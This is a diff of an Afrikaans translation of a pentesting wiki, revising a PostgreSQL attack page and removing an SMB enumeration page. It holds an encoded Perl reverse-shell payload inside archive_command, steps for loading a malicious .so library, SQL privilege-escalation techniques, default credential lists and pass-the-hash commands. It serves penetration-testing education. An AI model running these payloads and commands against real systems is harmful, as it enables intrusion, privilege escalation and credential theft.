@ -406,10 +405,10 @@ Sodra jy **geleer** het uit die vorige pos **hoe om binêre lêers op te laai**,
|
||||
|
||||
### PostgreSQL konfigurasie lêer RCE
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Die volgende RCE vektore is veral nuttig in beperkte SQLi kontekste, aangesien alle stappe deur geneste SELECT verklarings uitgevoer kan word
|
||||
|
||||
Die **konfigurasie lêer** van PostgreSQL is **skryfbaar** deur die **postgres gebruiker**, wat die een is wat die databasis bestuur, so as **supergebruiker**, kan jy lêers in die lêerstelsel skryf, en daarom kan jy **hierdie lêer oorskryf.**
|
||||
Die **konfigurasie lêer** van PostgreSQL is **skryfbaar** deur die **postgres gebruiker**, wat die een is wat die databasis bestuur, so as **superuser**, kan jy lêers in die lêerstelsel skryf, en daarom kan jy **hierdie lêer oorskryf.**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -420,7 +419,7 @@ Meer inligting [oor hierdie tegniek hier](https://pulsesecurity.co.nz/articles/p
|
||||
Die konfigurasie lêer het 'n paar interessante eienskappe wat tot RCE kan lei:
|
||||
|
||||
- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die privaat sleutel van die databasis
|
||||
- `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (geënkripteer), sal postgresql die **opdrag wat in hierdie eienskap aangedui word** **uitvoer**.
|
||||
- `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (geënkripteer), sal postgresql die **opdrag aangedui in hierdie eienskap uitvoer**.
|
||||
- `ssl_passphrase_command_supports_reload = off` **As** hierdie eienskap **aan** is, sal die **opdrag** wat uitgevoer word as die sleutel deur 'n wagwoord beskerm word, **uitgevoer word** wanneer `pg_reload_conf()` **uitgevoer** word.
|
||||
|
||||
Dan sal 'n aanvaller moet:
|
||||
@ -435,7 +434,7 @@ Dan sal 'n aanvaller moet:
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Voer `pg_reload_conf()` uit
|
||||
|
||||
Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die **privaat sleutel lêer 640 toestemmings het**, dit is **besit deur root** en deur die **groep ssl-cert of postgres** (sodat die postgres gebruiker dit kan lees), en is geplaas in _/var/lib/postgresql/12/main_.
|
||||
Terwyl ek dit getoets het, het ek opgemerk dat dit slegs sal werk as die **privaat sleutel lêer die regte 640 het**, dit is **besit deur root** en deur die **groep ssl-cert of postgres** (sodat die postgres gebruiker dit kan lees), en is geplaas in _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE met archive_command**
|
||||
|
||||
@ -450,16 +449,16 @@ Die algemene stappe is:
|
||||
1. Kontroleer of archive mode geaktiveer is: `SELECT current_setting('archive_mode')`
|
||||
2. Oorskryf `archive_command` met die payload. Byvoorbeeld, 'n omgekeerde skulp: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Herlaai die konfigurasie: `SELECT pg_reload_conf()`
|
||||
4. Dwing die WAL operasie om te loop, wat die archive command sal aanroep: `SELECT pg_switch_wal()` of `SELECT pg_switch_xlog()` vir sommige Postgres weergawes
|
||||
4. Dwing die WAL operasie om te loop, wat die archive opdrag sal aanroep: `SELECT pg_switch_wal()` of `SELECT pg_switch_xlog()` vir sommige Postgres weergawes
|
||||
|
||||
#### **RCE met preload biblioteke**
|
||||
#### **RCE met vooraflaai biblioteke**
|
||||
|
||||
Meer inligting [oor hierdie tegniek hier](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
Hierdie aanvalsvector maak gebruik van die volgende konfigurasie veranderlikes:
|
||||
|
||||
- `session_preload_libraries` -- biblioteke wat deur die PostgreSQL bediener by die kliëntverbinding gelaai sal word.
|
||||
- `dynamic_library_path` -- lys van gidse waar die PostgreSQL bediener vir die biblioteke sal soek.
|
||||
- `dynamic_library_path` -- lys van gidse waar die PostgreSQL bediener na die biblioteke sal soek.
|
||||
|
||||
Ons kan die `dynamic_library_path` waarde stel na 'n gids, skryfbaar deur die `postgres` gebruiker wat die databasis bestuur, byvoorbeeld, `/tmp/` gids, en 'n kwaadwillige `.so` objek daar op laai. Volgende, sal ons die PostgreSQL bediener dwing om ons nuut opgelaaide biblioteek te laai deur dit in die `session_preload_libraries` veranderlike in te sluit.
|
||||
|
||||
@ -516,7 +515,7 @@ Die kode compileer:
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
|
||||
6. Laai die kwaadwillige `postgresql.conf`, geskep in stappe 2-3, en oorskryf die oorspronklike een
|
||||
6. Laai die kwaadwillige `postgresql.conf`, geskep in stappe 2-3, op en oorskryf die oorspronklike een
|
||||
7. Laai die `payload.so` van stap 5 na die `/tmp` gids
|
||||
8. Herlaai die bediener konfigurasie deur die bediener te herbegin of die `SELECT pg_reload_conf()` navraag aan te roep
|
||||
9. By die volgende DB verbinding, sal jy die omgekeerde skulp verbinding ontvang.
|
||||
@ -527,9 +526,9 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
||||
|
||||
#### **Grant**
|
||||
|
||||
Volgens die [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolles wat die **`CREATEROLE`** voorreg het, kan **lidmaatskap in enige rol toeken of intrek** wat **nie** 'n **supergebruiker** is nie._
|
||||
Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolles met **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of intrek** wat **nie** 'n **superuser** is nie._
|
||||
|
||||
So, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang tot ander **rolle** (wat nie supergebruiker is nie) gee wat jou die opsie kan gee om lêers te lees en te skryf en opdragte uit te voer:
|
||||
So, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang tot ander **rolle** (wat nie superuser is nie) gee wat jou die opsie kan bied om lêers te lees en te skryf en opdragte uit te voer:
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
@ -551,11 +550,11 @@ Dit is redelik algemeen om te vind dat **lokale gebruikers in PostgreSQL kan aan
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
> [!NOTE]
|
||||
> Dit is gewoonlik moontlik weens die volgende lyne in die **`pg_hba.conf`** lêer:
|
||||
> [!TIP]
|
||||
> Dit is gewoonlik moontlik as gevolg van die volgende lyne in die **`pg_hba.conf`** lêer:
|
||||
>
|
||||
> ```bash
|
||||
> # "local" is vir Unix domein sokket verbindings slegs
|
||||
> # "local" is vir Unix domein socket verbindings slegs
|
||||
> local all all trust
|
||||
> # IPv4 plaaslike verbindings:
|
||||
> host all all 127.0.0.1/32 trust
|
||||
@ -571,7 +570,7 @@ Wanneer jy probeer om **'n ander gebruiker die eienaar van 'n tabel te maak**, b
|
||||
|
||||
<figure><img src="../images/image (537).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Om hierdie idee te kombineer met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) op 'n **tabel met 'n indeks funksie** uitgevoer word, word die **funksie** **aangeroep** as deel van die opdrag met die **tabel** **eienaar se toestemmings**. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarstoestemmings aan 'n **super gebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel met die kwaadwillige funksie uit te voer wat in staat sal wees om opdragte uit te voer omdat dit die voorregte van die eienaar gebruik.
|
||||
Deur hierdie idee te kombineer met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) op 'n **tabel met 'n indeks funksie** uitgevoer word, die **funksie** as deel van die opdrag met die **tabel** **eienaar se regte** **opgeroep** word. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaar regte aan 'n **super gebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel met die kwaadwillige funksie uit te voer wat in staat sal wees om opdragte uit te voer omdat dit die voorregte van die eienaar gebruik.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
@ -581,7 +580,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||||
|
||||
1. Begin deur 'n nuwe tabel te skep.
|
||||
2. Voeg 'n paar irrelevante inhoud in die tabel in om data vir die indeksfunksie te verskaf.
|
||||
3. Ontwikkel 'n kwaadwillige indeksfunksie wat 'n kode-uitvoeringspayload bevat, wat toelaat dat ongeoorloofde opdragte uitgevoer word.
|
||||
3. Ontwikkel 'n kwaadwillige indeksfunksie wat 'n kode-uitvoeringspayload bevat, wat ongeoorloofde opdragte toelaat om uitgevoer te word.
|
||||
4. ALTER die tabel se eienaar na "cloudsqladmin," wat GCP se superuser rol is wat eksklusief deur Cloud SQL gebruik word om die databasis te bestuur en te onderhou.
|
||||
5. Voer 'n ANALYZE operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," oor te skakel. Gevolglik word die kwaadwillige indeksfunksie met die regte van "cloudsqladmin" aangeroep, wat die uitvoering van die voorheen ongeoorloofde shell-opdrag moontlik maak.
|
||||
|
||||
@ -645,7 +644,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### **Aangepaste gedefinieerde funksie met** SECURITY DEFINER
|
||||
|
||||
[**In hierdie skrywe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), kon pentesters privesc binne 'n postgres-instansie wat deur IBM verskaf is, omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
|
||||
[**In hierdie skrywe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) het pentesters daarin geslaag om privesc binne 'n postgres-instantie wat deur IBM verskaf is, omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
@ -678,7 +677,7 @@ En dan **voer opdragte uit**:
|
||||
|
||||
<figure><img src="../images/image (649).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Pas Burteforce met PL/pgSQL
|
||||
### Pass Burteforce met PL/pgSQL
|
||||
|
||||
**PL/pgSQL** is 'n **volledig funksionele programmeertaal** wat groter prosedurele beheer bied in vergelyking met SQL. Dit stel die gebruik van **lusse** en ander **beheersstrukture** in staat om programlogika te verbeter. Daarbenewens het **SQL-verklarings** en **triggers** die vermoë om funksies aan te roep wat geskep is met die **PL/pgSQL-taal**. Hierdie integrasie stel 'n meer omvattende en veelsydige benadering tot databasisprogrammering en outomatisering in staat.\
|
||||
**Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se akrediteer te brute-force.**
|
||||
@ -687,12 +686,12 @@ En dan **voer opdragte uit**:
|
||||
../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
|
||||
{{#endref}}
|
||||
|
||||
### Privesc deur Interne PostgreSQL Tabels Oor te Skryf
|
||||
### Privesc deur Interne PostgreSQL Tabels te Oorskryf
|
||||
|
||||
> [!NOTE]
|
||||
> Die volgende privesc-vak is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-verklarings uitgevoer kan word
|
||||
> [!TIP]
|
||||
> Die volgende privesc-vektor is veral nuttig in beperkte SQLi-kontekste, aangesien alle stappe deur geneste SELECT-verklarings uitgevoer kan word
|
||||
|
||||
As jy **PostgreSQL-bediener lêers kan lees en skryf**, kan jy **'n superuser** word deur die PostgreSQL op-disk filenode, wat geassosieer is met die interne `pg_authid` tabel, oor te skryf.
|
||||
As jy **PostgreSQL-bediener lêers kan lees en skryf**, kan jy **'n superuser** word deur die PostgreSQL op-disk filenode, geassosieer met die interne `pg_authid` tabel, oor te skryf.
|
||||
|
||||
Lees meer oor **hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
||||
@ -703,7 +702,7 @@ Die aanvalstappe is:
|
||||
3. Laai die filenode af deur die `lo_*` funksies
|
||||
4. Kry die datatipe, geassosieer met die `pg_authid` tabel
|
||||
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om die [filenode te redigeer](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); stel alle `rol*` boolean-vlaggies op 1 vir volle regte.
|
||||
6. Herlaai die geredigeerde filenode via die `lo_*` funksies, en oor skryf die oorspronklike lêer op die skyf
|
||||
6. Laai die bewerkte filenode weer op via die `lo_*` funksies, en oorskryf die oorspronklike lêer op die skyf
|
||||
7. _(Opsioneel)_ Maak die in-geheue tabelkas skoon deur 'n duur SQL-navraag uit te voer
|
||||
8. Jy behoort nou die voorregte van 'n volle superadmin te hê.
|
||||
|
||||
@ -732,7 +731,7 @@ Dan, **herbegin die diens**.
|
||||
|
||||
[pgadmin](https://www.pgadmin.org) is 'n administrasie- en ontwikkelingsplatform vir PostgreSQL.\
|
||||
Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind.\
|
||||
Jy kan dit ontcijfer met die _**decrypt**_ funksie binne die skrif: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
Jy kan dit ontsleutel met die _**decrypt**_ funksie binne die skrif: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
@ -741,8 +740,8 @@ string pgadmin4.db
|
||||
```
|
||||
### pg_hba
|
||||
|
||||
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie-lêer genaamd **pg_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elk wat 'n verbindingstipe, kliënt IP-adresreeks (indien van toepassing), databasisnaam, gebruikersnaam, en die verifikasiemetode spesifiseer wat gebruik moet word vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindingstipe, kliëntadres, aangevraagde databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
|
||||
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie-lêer genaamd **pg_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elk wat 'n verbindingstipe, kliënt IP-adresreeks (indien van toepassing), databasisnaam, gebruikersnaam en die verifikasiemetode spesifiseer wat gebruik moet word vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindingstipe, kliëntadres, aangevraagde databasis en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
|
||||
|
||||
Die beskikbare wagwoord-gebaseerde verifikasiemetodes in pg_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-geënkripteer, of duidelike teks. Dit is belangrik om te noem dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg_authid geënkripteer is nie.
|
||||
Die beskikbare wagwoord-gebaseerde verifikasietegnieke in pg_hba.conf is **md5**, **crypt**, en **password**. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehasht, crypt-geënkripteer, of duidelike teks. Dit is belangrik om te noem dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg_authid geënkripteer is nie.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,532 +0,0 @@
|
||||
# 139,445 - Pentesting SMB
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Port 139**
|
||||
|
||||
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geïdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun.
|
||||
|
||||
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
|
||||
|
||||
Aandele, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie sigbaar maak vir 'n kliënt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is anders as die plaaslike regte wat op die bediener gestel is.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Indien korrek gebruik, stel dit die verkryging van:
|
||||
|
||||
- Inligting oor die bedryfstelsel
|
||||
- Besonderhede oor die ouer domein
|
||||
- 'n Samevoeging van plaaslike gebruikers en groepe
|
||||
- Inligting oor beskikbare SMB aandele
|
||||
- Die effektiewe stelselsekuriteitsbeleid
|
||||
|
||||
Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitsposisie van SMB (Server Message Block) dienste op 'n netwerk te evalueer. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB dienste behoorlik beveilig is.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
|
||||
|
||||
## Wat is NTLM
|
||||
|
||||
As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy dit kan benut:**
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Bediener Enumerasie**
|
||||
|
||||
### **Skandeer** 'n netwerk op soek na gasheer:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB bediener weergawe
|
||||
|
||||
Om te soek na moontlike exploits vir die SMB weergawe, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
|
||||
|
||||
- Gebruik die **MSF** bykomende module _**auxiliary/scanner/smb/smb_version**_
|
||||
- Of hierdie skrip:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
#Description:
|
||||
# Requires root or enough permissions to use tcpdump
|
||||
# Will listen for the first 7 packets of a null login
|
||||
# and grab the SMB Version
|
||||
#Notes:
|
||||
# Will sometimes not capture or will print multiple
|
||||
# lines. May need to run a second time for success.
|
||||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Soek ontginning**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Mogelijke** Kredensiaal
|
||||
|
||||
| **Gebruikersnaam(s)** | **Algemene wagwoorde** |
|
||||
| ---------------------- | ----------------------------------------- |
|
||||
| _(leeg)_ | _(leeg)_ |
|
||||
| gasheer | _(leeg)_ |
|
||||
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
|
||||
| arcserve | arcserve, rugsteun |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, rugsteun | backupexec, rugsteun, arcada |
|
||||
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB Omgewing Inligting
|
||||
|
||||
### Verkry Inligting
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||
|
||||
#Connect to the rpc
|
||||
rpcclient -U "" -N <IP> #No creds
|
||||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||
rpcclient -U "username%passwd" <IP> #With creds
|
||||
#You can use querydispinfo and enumdomusers to query user information
|
||||
|
||||
#Dump user information
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
#Map possible RPC endpoints
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Lys gebruikers, groepe & aangemelde gebruikers
|
||||
|
||||
Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||
|
||||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||
|
||||
rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Lys plaaslike gebruikers
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Eenvliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Lys plaaslike gebruikers
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Lys van LSARPC en SAMR rpcclient**
|
||||
|
||||
{{#ref}}
|
||||
pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### GUI-verbinding vanaf linux
|
||||
|
||||
#### In die terminal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### In lêerblaaier venster (nautilus, thunar, ens.)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Gedeelde Mappes Lys
|
||||
|
||||
### Lys gedeelde mappes
|
||||
|
||||
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Verbind/Lys 'n gedeelde gids**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Handmatig vensters deel en verbind daarmee**
|
||||
|
||||
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie kan aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
|
||||
|
||||
Gewone deelname name vir venster teikens is
|
||||
|
||||
- C$
|
||||
- D$
|
||||
- ADMIN$
|
||||
- IPC$
|
||||
- PRINT$
|
||||
- FAX$
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Gewone deelname name van _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
